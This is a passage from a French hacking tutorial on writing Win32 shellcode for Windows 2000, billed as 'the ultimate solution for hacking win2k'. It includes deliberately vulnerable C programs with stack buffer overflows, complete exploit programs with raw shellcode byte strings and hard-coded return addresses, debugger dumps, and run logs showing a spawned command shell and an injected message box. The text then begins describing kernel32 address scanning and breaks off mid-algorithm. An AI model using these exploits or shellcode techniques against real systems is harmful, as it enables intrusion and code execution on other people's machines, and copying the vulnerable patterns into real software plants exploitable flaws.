/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
============================
* REAL Win32 GENERIC SHELLCODE *
============================
The ultimate solution for hacking win2k with all service pack
By ThreaT & Crazylord.
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
Pré-introduction
^^^^^^^^^^^^^^^^
Cet article n'est nullemment un vulgaire papier proposant une compilation ou explication
des techniques déjà existantes dans le domaine des shellcodes win32 génériques.
L'objet de cet essai est de proposé une solution innovante, optimisée et élégante à l'élaboration
de code injectable, et suppose une forte compétence technique en matière de programmation
bas niveau.
Pour que notre approche soit claire et bien comprise, nous nous attarderons à faire un
récapitulatif de ce que sont les shellcodes win32, en expliquant leur utilité, les solutions
apportées par la communauté mondiale, ainsi que les problèmes pouvant se poser lors de leur
création.
Ceci permettra dans un premier temps de rafraîchir les mémoires, puis dans un deuxième temps
de crédibiliser notre demarche, et ainsi apporter la preuve comparative que notre technique
constitue la meilleure solution dans la conception de shellcode générique sous win2k.
Il ne nous reste plus qu'à vous laisser entre les mains de votre autodidactisme, tout en
vous souhaitant une bonne lecture...
-
Table des matières
******************
...I/ Introduction.
..II/ Les shellcodes win32 en général.
------> 2.a) About Win32 shellcodes.
------> 2.b) Les shellcodes spécifiques.
------> 2.c) Les shellcodes statiques.
------> 2.d) Les shellcodes génériques.
.III/ Etude de quelques solutions apportées par la communauté " underground mondiale ".
------> 3.a) Etude du shellcode statique de |Zan. ( ~ 1170 bytes )
------> 3.b) Etude du shellcode générique de RaiSe. ( 790 bytes )
..IV/ Notre approche sur la question.
------> 4.a) L'abolition de l'adresse de base, grâce au Process Environment Block.
------> 4.b) Une reconstruction de LoadLibraryA / GetProcAdress.
------> 4.c) La mise en place d'une fonction ASM exportable et injectable.
...V/ Quelques shellcodes génériques, basés sur la fonction magique.
------> 5.a) Shellcode générique d'exécution de commande. (150 bytes)
------> 5.b) Shellcode générique download & execute from URL. (247 bytes)
..VI/ Conclusion.
.VII/ Fin.
/*************************************************************************************
I. INTRODUCTION
*************************************************************************************/
La compréhension des shellcodes est une étape importante dans le processus d'autoformation
d'un hacker, car ceux-ci constituent l'élément essentiel de toutes les attaques evoluées
(buffer overflow, reverse engeenering, Shatter Attacks, rootkit, format string, etc...).
Malgrès certaines bonnes documentations traitant du sujet, comme par exemple 'Designing win32
shellcode' by sunnis, le monde win32 ne trouve refuge quand dans des commentaires d'explication,
relatant les méthodes utilisées pour créer des shellcodes spécifiques, et s'extasie devant
des projets génériques dont les shellcodes dépassent souvent les 800 octets !!
Pour enfin avoir une documentation française traitant du sujet, et surtout introduire notre
approche sur la conception de shellcode générique sous win2k, nous avons decidé de léguer
cet article à tout les autistes/schizophrenes et autres personnes atteintes du syndrome
d'asperger, cherchant sans cesse la perfection technique...
let's go on!
/*************************************************************************************
II. LES SHELLCODES WIN32 EN GENERALES
*************************************************************************************/
///
2.A ABOUT WIN32 SHELLCODE
///
- Qu'est ce que c'est qu'un shellcode ?
*************************************
Un shellcode est un micro programme ( moin de 1Ko ) destiné à exécuter une tâche bien
précise (exécution d'une commande, création d'un utilisateur, download d'un fichier, etc...)
- A quoi servent les shellcodes ?
*******************************
L'utilité première d'un shellcode est d'être INJECTE.
C'est à dire que votre micro programme est placé dans l'espace d'exécution d'un processus
dans le but d'y être executé avec les privilèges de ce dernier.
La deuxieme utilité possible d'un shellcode est de remplacer ou rajouter une fonction
dans un binaire ou une VM on the fly.
- Quelles sont les propriétés generales des shellcodes ?
******************************************************
Pour les shellcodes injectables dans des buffers, il faut que le micro programme ne contienne
aucun NULL BYTE (0x00), car cet octet delimite la fin d'une chaine de caractère.
(et tronquerais donc le shellcode)
la deuxième chose à prendre en compte est l'optimisation pour une taille minimale,
ceci afin qu'il puisse être copié même dans un petit buffer.
Enfin, la troisième propriété d'un shellcode est que celui ci ne doit contenir aucune
adresse absolue, car l'adresse où le shellcode est injecté est généralement inconnue.
- Quel est la différence entre un shellcode unix, et un shellcode win32 ?
***********************************************************************
Les shellcodes sous win32 sont élaborés à partir des instructions placées dans des librairies
(dll), ce qui implique leur chargement en mémoire avant toute conception (ce qui grossit
fortement les shellcodes), alors que sous unix, les shellcodes utilise les syscalls
(comparables aux interruptions sous DOS), ce qui leurs apporte un réel gain d'octets.
///
2.B LES SHELLCODES SPECIFIQUES
///
Malgrès ce qui a été repondu à la question sur les propriétés générales des shellcodes,
les shellcodes win32 spécifiques utilisent directement les adresses absolues des programmes
qu'ils exploitent.
L'avantage de cette technique est bien sûr une économie d'octet considérable,
et surtout, la possibilité d'utiliser directement des fonctions 'evoluées' sans avoir à écrire
un code long et fastidieux.
Cependent, les shellcodes spécifiques ne sont valides que pour un programme précis, et
ne peuvent en aucun cas être réutilisés à outrance.
Leur utilité s'avère pour l'injection dans de petit buffer, ou dans le patching d'un binaire.
voici un exemple concret pour étayer les esprits :
========================================== vuln0.c ===========================================
#include
int main (int argc, char *argv[])
{
char command[50];
if (!argv[1])
{
printf("/nUsage : %s /n"
"Une vulnerabilitée est présente si la commande dépasse 60 caractères/n",argv[0]);
exit (0);
}
sprintf (command,"@%s/x00",argv[1]);
if (!system (command))
printf ("/nLa commande a été exécutée/n");
else
printf ("/nImpossible d'exécuter la commande/n");
return 0;
}
============================================ EOF =============================================
E:/code/SP/vuln>cl /nologo vuln0.c
vuln0.c
E:/code/SP/vuln>vuln0
Usage : vuln0
Une vulnerabilitée est présente si la commande dépasse 60 caractères
E:/code/SP/vuln>vuln0 coucou
'coucou' n'est pas reconnu en tant que commande interne
ou externe, un programme exécutable ou un fichier de commandes.
Impossible d'exécuter la commande
E:/code/SP/vuln>vuln0 "echo ceci est une commande de test"
ceci est une commande de test
La commande a été exécutée
E:/code/SP/vuln>vuln0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB' n'est pas reconnu
en tant que commande interne ou externe, un programme exécutable ou un fichier de commandes.
Impossible d'exécuter la commande
========== BOOM ===========
Module Load: E:/CODE/SP/VULN/vuln0.exe (no symbols loaded)
Thread Create: Process=0, Thread=1
Second chance exception c0000005 (Access Violation) occurred
Thread stopped.
>rt
EAX=00000000 EBX=7ffdf000 ECX=00408120 EDX=00000001 ESI=0012f88f EDI=00000000
EIP=42424242 ESP=0012ff88 EBP=41414141 EFL=00000246
CS=001b DS=0023 ES=0023 SS=0023 FS=0038 GS=0000
Dr0=e14a8cf8 Dr1=eadd9a01 Dr2=00000000 Dr3=e14e9c28 Dr6=e2963bc8 Dr7=00000001
>
après un court travail d'investigation avec softice, on trouve une adresse suceptible
d'accueillir notre shellcode :)
>dd 132517
0x00132517 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x00132527 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x00132537 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x00132547 41414141 42424141 00004242 00000000 AAAAAABBBB......
0x00132557 0a005800 08010000 13282000 132b4000 .X....... (..@+.
0x00132567 26000000 00000c00 28d5ac00 00000000 ...&.......(....
0x00132577 00000000 00000000 00000000 00000000 ................
0x00132587 00000000 00000000 00000000 00000000 ................
>
comme vous pouvez le voir, nous n'avons que 54 bytes de manoevre.
le shellcode spécifique s'impose !
pour cela, nous devons analyser quelles sont les adresses utilisées par le programme
vulnérable, afin de pouvoir repérer les fonctions qui nous intéressent.
ce qui donne :
--- disassemble of vuln0.c ---
[...]
:00401033 6890804000 push 00408090
:00401038 8D55CC lea edx, dword ptr [ebp-34]
:0040103B 52 push edx
:0040103C E8CB000000 call 0040110C <-- sprintf ()
:00401041 83C40C add esp, 0000000C
:00401044 8D45CC lea eax, dword ptr [ebp-34]
:00401047 50 push eax <-- (char*) command
:00401048 E829000000 call 00401076 <-- system()
:0040104D 83C404 add esp, 00000004
:00401050 85C0 test eax, eax
:00401052 750F jne 00401063
:00401054 6898804000 push 00408098
:00401059 E802020000 call 00401260
:0040105E 83C404 add esp, 00000004
:00401061 EB0D jmp 00401070
[...]
* Reference To: KERNEL32.ExitProcess, Ord:007Dh
|
:0040123E FF1560704000 Call dword ptr [00407060] <-- ExitProcess ()
----------------
ok, nous connaissons les adresses d'appel de system() et de ExitProcess() utilisées par
le programme vulnérable.
Nous pouvons donc mettre en place un beau shellcode spécifique qui nous lancera un shell :)
========================================= vuln0sh.c ========================================
/*
* Démonstration d'exploit utilisant un shellcode win32 spécifique
*/
#include
void main () {
/*
__asm {
mov ebp, esp
xor edi, edi
push edi
mov word ptr [ebp-4], 'mc'
mov byte ptr [ebp-2], 'd' // le classique, on met cmd sur le stack
lea eax, [ebp-4]
push eax // push 'cmd' en argument
mov ebx, 0xFFFFFFFF // astuce anti null byte
sub ebx, 0xFFBFEF89 // 0xFFFFFFFF - 0xFFBFEF89 = 00401076 'system()'
call ebx
add bx, 0x5FEA // encore une astuce : 0x401076 + 0x5FEA = 00407060
call dword ptr [ebx] // ExitProcess (0)
}
--- Disassembled data ----
:00401000 55 push ebp
:00401001 8BEC mov ebp, esp
:00401003 53 push ebx
:00401004 56 push esi
:00401005 57 push edi
:00401006 8BEC mov ebp, esp
:00401008 33FF xor edi, edi
:0040100A 57 push edi
:0040100B 66C745FC636D mov [ebp-04], 6D63
:00401011 C645FE64 mov [ebp-02], 64
:00401015 8D45FC lea eax, dword ptr [ebp-04]
:00401018 50 push eax
:00401019 BBFFFFFFFF mov ebx, FFFFFFFF
:0040101E 81EB89EFBFFF sub ebx, FFBFEF89
:00401024 FFD3 call ebx
:00401026 6681C3EA5F add bx, 5FEA
:0040102B FF13 call dword ptr [ebx]
* Exploit code */
int i, j;
unsigned char buffer[59], Mallicious[100],
shellcode[] = {
"/x55/x8B/xEC/x53/x56/x57/x8B/xEC/x33/xFF/x57/x66/xC7/x45/xFC/x63"
"/x6D/xC6/x45/xFE/x64/x8D/x45/xFC/x50/xBB/xFF/xFF/xFF/xFF/x81/xEB"
"/x89/xEF/xBF/xFF/xFF/xD3/x66/x81/xC3/xEA/x5F/xFF/x13"
"/x1F/x25/x13/x00" // ret addr (jouez avec le byte /x1F si sa ne marche pas)
} ;
for (i=0; i < 59 - (strlen (shellcode) + 1); buffer[i++] = 0x90);
for (i,j=0; i < 59; buffer[i++] = shellcode[j++]);
sprintf (Mallicious,"vuln0.exe %s",buffer);
system (Mallicious);
ExitProcess (0);
}
========================================== EOF ===============================================
on compile l'exploit
-
E:/code/SP/vuln>cl vuln0sh.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
vuln0sh.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
/out:vuln0sh.exe
vuln0sh.obj
-
on lance l'exploit
-
E:/code/SP/vuln>vuln0sh
'??????????U<ìSVW<ì3ÿWfÇEücmÆEþd?EüP»ÿÿÿÿ?ë%ï¿ÿÿÓf?Ãê_ÿ??%?' n'est pas reconnu
en tant que commande interne ou externe, un programme exécutable ou un fichier
de commandes.
Impossible d'exécuter la commande
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
E:/code/SP/vuln>
-
boom, on a un shell :))
Comme vous pouvez le constater, nous avons reussi à exploiter un petit buffer grâce
à la technique du shellcode spécifique.
Le problème de cette attaque est que si nous avions voulu exécuter une autre tâche, comme
par exemple écrire dans un fichier, cela nous aurais été impossible, car vuln0 n'utilise
pas les fonctions dont nous aurions eu besoin.
Tout ceci est donc pratique, mais limité.
heureusement, il existe d'autres techniques :)
///
2.B LES SHELLCODES STATIQUES
///
La compréhension des shellcodes statiques demande un petit peu de connaissances en matière de
programmation win32.
Sa particularité est que celui ci part du principe que toutes les fonctions
dont il a besoin dans Kernel32.dll sont situés à une adresse inchangée (statique)
Pour que le shellcode puisse utiliser toute la puissance du système, et ainsi réaliser
n'importe quel tâche lors de l'exploitation d'un programme vulnérable, celui ci va
surtout se baser sur deux API windows, qui sont les suivantes :
--> LoadLibrary
La fonction LoadLibrary () map le module exécutable specifié dans l'espace d'adressage
du processus qui l'invoque
Utilisation :
HINSTANCE LoadLibrary(
LPCTSTR lpLibFileName // Adresse ou fichier du module exécutable
);
--> GetProcAddress
La fonction GetProcAddress () retourne l'adresse de la fonction située dans la librairie
de lien dynamique (DLL) spécifié
Utilisation :
FARPROC GetProcAddress(
HMODULE hModule, // handle du module DLL
LPCSTR lpProcName // nom de la fonction
);
et c'est grâce à ces API que le shellcode peut aller chercher et charger toute fonction
exportée dont il aurait besoin.
un exemple pour le démontrer sera plus explicite
========================================= vuln1.c ============================================
#include
void vuln_func (char *UserName)
{
char name[500];
lstrcpy (name,UserName);
printf ("Bonjour %s !/n",name);
}
int main (int argc, char *argv[])
{
DWORD flag;
char EnvVar[1000];
flag = GetEnvironmentVariable("USERNAME",EnvVar,1000);
vuln_func (EnvVar);
printf ("/nfin du programme/n");
return 0;
}
======================================== EOF ================================================
Ce programme vulnérable dit bonjour à l'utilisateur actuellement connecté.
Pour pouvoir connaître le nom de cet utilisateur, celui ci ce réfère
à la variable d'environnement USERNAME
Donc, si vous avez observez un peu, vous voyez que la variable est stockée dans
un buffer de 1000 octets, et ce buffer est envoyé en paramètre à la fonction vulnérable
qui ne peut récupérer la valeur que dans un buffer de 500 octets
ce qui veut dire que si la variable USERNAME fait une longueur de 510 ou 520 octets, strcpy
va overwriter le stack et passer le flot d'exécution à l'adresse situé à dword ptr [ESP] :)
on verifie de suite...
E:/code/SP/vuln>cl vuln1.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
vuln1.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
/out:vuln1.exe
vuln1.obj
-
regardons la valeur de la variable USERNAME
-
E:/code/SP/vuln>set | find /i "username"
USERNAME=Administrateur
-
on exécute le prog
-
E:/code/SP/vuln>vuln1
Bonjour Administrateur !
fin du programme
E:/code/SP/vuln>
-
tout va bien
on apporte maintenant une petite modification
-
E:/code/SP/vuln>SET USERNAME=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
-
on relance le prog
-
E:/code/SP/vuln>vuln1
Bonjour AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB !
========== BOOM ===========
Module Load: E:/CODE/SP/VULN/vuln1.exe (no symbols loaded)
Thread Create: Process=0, Thread=1
Second chance exception c0000005 (Access Violation) occurred
Thread stopped.
>rt
EAX=00000207 EBX=7ffdf000 ECX=00406090 EDX=00000001 ESI=0012f88f EDI=78499da7
EIP=42424242 ESP=0012fb90 EBP=41414141 EFL=00000212
CS=001b DS=0023 ES=0023 SS=0023 FS=0038 GS=0000
Dr0=e14a8c98 Dr1=fb157a01 Dr2=00000000 Dr3=e14e9c28 Dr6=e2966ee8 Dr7=00000001
>
-
EIP=42424242, on tombe en plein dans le buffer overflow classique
-
>dd esp
0x0012FB90 0012fb00 000001fc 41414141 41414141 ........AAAAAAAA
0x0012FBA0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBB0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBC0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBD0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBE0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBF0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FC00 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
[...]
0x0012FD60 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FD70 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FD80 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FD90 42424242 0012ff00 002f0000 002f5168 BBBB....../.hQ/.
-
la stack est completement exploséé avec notre variable USERNAME, impeccable
donc, combien sa nous fait de bytes de manoeuvre tout ca ?
(0x0012FD80+0x10) - (0x0012FB90+8) = 0x1F8 soit 504 bytes (c'était prévisible, mais bon)
ok, voici notre approche d'attaque :
Nous allons créer un shellcode qui va forcer le programme vulnérable à exécuter une
boîte de dialogue.
pour ce faire, nous devrons charger la lib user32.dll à l'aide de LoadLibraryA, puis
retrouver l'adresse exportée de la fonction MessageBoxA() qui, (pour rappel), fonctionne
de la manière suivante :
int MessageBox(
HWND hWnd, // handle of owner window
LPCTSTR lpText, // address of text in message box
LPCTSTR lpCaption, // address of title of message box
UINT uType // style of message box
);
commencons par connaitre les adresses de bases du kernel32 de notre système d'exploitation
Disassembly of File: kernel32.dll
Code Offset = 00000400, Code Size = 0005D000
Data Offset = 0005D400, Data Size = 00001A00
+++++++++++++++++++ EXPORTED FUNCTIONS ++++++++++++++++++
Number of Exported Functions = 0823 (decimal)
Addr:77E79AC1 Ord: 340 (0154h) Name: GetProcAddress
Addr:77E7A254 Ord: 480 (01E0h) Name: LoadLibraryA
Addr:77E88F94 Ord: 141 (008Dh) Name: ExitProcess
très bien, nous pouvons dorénavant commencer l'élaboration du shellcode, et même enchainer
sur un expoit pour ce petit programme vulnérable
======================================= vuln1sh.c ==========================================
#include
void main () {
/*
* Shellcode statique de démonstration
*
* Ce shellcode affiche une boite de dialogue, et est spécifique à la
* version 5.0.2195.2778 de Kernel32.dll (win2k SP2)
*
__asm {
mov ebp, esp
sub esp, 36 // alloue 36 bytes sur le stack
mov dword ptr [ebp-36],'sseM'
mov dword ptr [ebp-32],'Bega'
mov eax, 0xFFFFFFFF
sub eax, 0xFFBE8790
mov dword ptr [ebp-28], eax // place 'MessageBoxA'
mov dword ptr [ebp-24], 'resu'
xor eax, eax
add ax, 0x3233
mov dword ptr [ebp-20], eax // place 'user32'
mov dword ptr [ebp-17], 'lleH'
xor eax, eax
mov ax, '!o'
mov dword ptr [ebp-13], eax // place 'Hello!'
mov dword ptr [ebp-8], 'enwO'
sub al, 11
mov dword ptr [ebp-4], eax // place 'Owned!'
lea eax, [ebp-24] // récupère le pointeur sur user32.dll
mov ebx, 0x77E7A254 // met dans EBX l'adresse de la fonction LoadLibraryA
push eax
call ebx // eax = LoadLibraryA ("user32")
mov ebx, 0x77E79AC1 // Met dans EBX l'adresse de la fonction
GetProcAddress
lea ecx, [ebp-36] // Récupère le pointeur sur MessageBoxA
push ecx
push eax
call ebx // GetProcAddresss ((HMODULE)eax,"MessageBoxA")
xor ecx, ecx
push 48 // icone Exlamation
lea ebx, [ebp-17] // récupère le pointeur sur 'Hello!'
push ebx
lea ebx, [ebp-8] // récupère le pointeur sur 'Owned!'
push ebx
push ecx
call eax // MessageBox (NULL,"Owned!","Hello!", 48)
mov eax, 0x77E88F94
call eax // ExitProcess (0)
}
*
* Disassembled DATA
*
:00401006 8BEC mov ebp, esp
:00401008 83EC24 sub esp, 00000024
:0040100B C745DC4D657373 mov [ebp-24], 7373654D
:00401012 C745E061676542 mov [ebp-20], 42656761
:00401019 B8FFFFFFFF mov eax, FFFFFFFF
:0040101E 2D9087BEFF sub eax, FFBE8790
:00401023 8945E4 mov dword ptr [ebp-1C], eax
:00401026 C745E875736572 mov [ebp-18], 72657375
:0040102D 33C0 xor eax, eax
:0040102F 66053332 add ax, 3233
:00401033 8945EC mov dword ptr [ebp-14], eax
:00401036 C745EF48656C6C mov [ebp-11], 6C6C6548
:0040103D 33C0 xor eax, eax
:0040103F 66B86F21 mov ax, 216F
:00401043 8945F3 mov dword ptr [ebp-0D], eax
:00401046 C745F84F776E65 mov [ebp-08], 656E774F
:0040104D 2C0B sub al, 0B
:0040104F 8945FC mov dword ptr [ebp-04], eax
:00401052 8D45E8 lea eax, dword ptr [ebp-18]
:00401055 BB54A2E777 mov ebx, 77E7A254
:0040105A 50 push eax
:0040105B FFD3 call ebx
:0040105D BBC19AE777 mov ebx, 77E79AC1
:00401062 8D4DDC lea ecx, dword ptr [ebp-24]
:00401065 51 push ecx
:00401066 50 push eax
:00401067 FFD3 call ebx
:00401069 33C9 xor ecx, ecx
:0040106B 6A30 push 00000030
:0040106D 8D5DEF lea ebx, dword ptr [ebp-11]
:00401070 53 push ebx
:00401071 8D5DF8 lea ebx, dword ptr [ebp-08]
:00401074 53 push ebx
:00401075 51 push ecx
:00401076 FFD0 call eax
:00401078 B8948FE877 mov eax, 77E88F94
:0040107D FFD0 call eax
Exploit code start here */
int i,j;
unsigned char buffer[507],
shellcode[] = { // taille du shellcode = 121 bytes
"/x8B/xEC/x83/xEC/x24/xC7/x45/xDC/x4D/x65/x73/x73/xC7/x45/xE0/x61"
"/x67/x65/x42/xB8/xFF/xFF/xFF/xFF/x2D/x90/x87/xBE/xFF/x89/x45/xE4"
"/xC7/x45/xE8/x75/x73/x65/x72/x33/xC0/x66/x05/x33/x32/x89/x45/xEC"
"/xC7/x45/xEF/x48/x65/x6C/x6C/x33/xC0/x66/xB8/x6F/x21/x89/x45/xF3"
"/xC7/x45/xF8/x4F/x77/x6E/x65/x2C/x0B/x89/x45/xFC/x8D/x45/xE8/xBB"
"/x54/xA2/xE7/x77/x50/xFF/xD3/xBB/xC1/x9A/xE7/x77/x8D/x4D/xDC/x51"
"/x50/xFF/xD3/x33/xC9/x6A/x30/x8D/x5D/xEF/x53/x8D/x5D/xF8/x53/x51"
"/xFF/xD0/xB8/x94/x8F/xE8/x77/xFF/xD0"
"/xA0/xFB/x12/x00" // adresse de retour
} ;
for (i=0; i < 507 - lstrlen (shellcode); buffer[i++] = 0x90);
for (i,j=0; i < 507; buffer[i++] = shellcode[j++]);
if (!SetEnvironmentVariable("USERNAME",buffer))
printf ("Impossible de créer la variable d'environement malicieuse/n");
else {
printf ("Variable USERNAME millicieuse ok !/n"
"Lancement du programme vulnérable.../n/n");
system ("vuln1");
}
}
========================================= EOF ================================================
E:/code/SP/vuln>cl vuln1sh.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
vuln1sh.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
/out:vuln1sh.exe
vuln1sh.obj
E:/code/SP/vuln>vuln1sh
Variable USERNAME mallicieuse ok !
Lancement du programme vulnérable...
Bonjour ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉïýâý$ÃE_M
essÃEÓageB© -Éç¥ ëEõÃEÞuser3+f?32ëEýÃE´Hell3+f©o!ëE¾ÃE°Owne,?ëE³ìEÞ+TóþwP Ë+-
ÜþwìM_QP Ë3+j0ì]´Sì]°SQ ð©öÅÞw ðá¹? !
_______________
|Hello! [x]|
|^^^^^^^^^^^^^^^|
| /^/ |
| / ! / Owned! |
| ----- |
| _________ |
| | O K | |
| ¨¨¨¨¨¨¨¨¨ |
^^^^^^^^^^^^^^^
donc voila comment grâce à la methode statique, nous avons reussi à créer un petit shellcode
(121 bytes) et exécuter une fonction exportée du système (affichage de boîte de dialogue).
Le problème majeur de cette technique est que le shellcode s'appuie sur des adresses STATIQUES
de fonction relative à Kernel32.dll, et cela oblige l'attaquant à connaitre la version
précise du système d'exploitation cible pour mener son action à bien. (OS / services pack)
La solution qui vient à l'esprit serait d'arriver à créer une fonction permettant
de retrouver au minimum les adresses de LoadLibraryA() et de GetProcAddress(), car même
si une tel fonction grossirait fortement le shellcode, nous serions sur qu'une attaque
'aveugle' aboutirait.
Regardons ce qui existe dans ce domaine...
///
2.B LES SHELLCODES GENERIQUES
///
Comme vous avez dût le comprendre, le principe du shellcode générique et d'arriver à retrouver
par lui même les adresses des fonctions exportées de kernel32.dll
je vais donc vous expliquer la méthode la plus couramment utilisée pour arriver à cette fin.
La première etape consiste à retrouver l'adresse de base de kernel32 en scannant la
mémoire à la recherche d'un pattern, mais une telle opération soulève quelques questions,
à savoir :
-> quel pattern devons nous rechercher ?
-> comment être sur que le pattern correspond à kernel32.dll ?
-> quel plage de mémoire devons nous scanner ?
-> comment éviter les erreurs d'exception générées par la lecture d'un emplacement vide ?
Pour la première question, la réponse est simple, le pattern à rechercher est le header
'MZ' placé au début de tout exécutable.
pour répondre aux deux autres, observons un petit historique des images de bases de notre
dll à travers l'évolution du système microsoft
++++++++++++++++++++++++++++++++++
+ Some ImageBase of kernel32.dll +
++++++++++++++++++++++++++++++++++
+ 077E00000h - NT/W2k +
+ 077E80000h - NT/W2k +
+ 077E70000h - NT/W2k +
+ 077ED0000h - NT/W2k +
+ 077F00000h - NT/W2k +
+ 0BFF70000h - 95/98 +
+ 077E60000h - XP home +
+ 0BFF60000h - Me +
++++++++++++++++++++++++++++++++++
on remarque dans ce petit récapitulatif que les adresses sont des multiples de
10 pages mémoires (une page etant equivalente à 0x1000)
nous pouvons donc dire d'après ce tableau que la plage à scanner ce trouve entre 0x77e00000
et 0xBFF00000 et que le scan sera défini à raison d'une vérification de pattern toute les
10 pages.
pour connaitre si l'adresse contenant le pattern voulu est bien l'image de base de kernel32.dll,
il nous suffira de la comparer avec toutes les adresses du tableau ci dessus.
voici un algo pour clarifier mon explication
--- Definition du Tableau ImageBase ---
---------------------------------------
0x77E00000 * EBP
0x77E80000 * EBP-4
0x77E70000 * EBP-8
0x77ED0000 * EBP-12
0x77F00000 * EBP-16
0xBFF70000 * EBP-20
0x77E60000 * EBP-24
0xBFF60000 * EBP-28
---------------------------------------
[adresse] -> initialisation a 0xBFF00000
boucle :
_____________________________________________________________________________
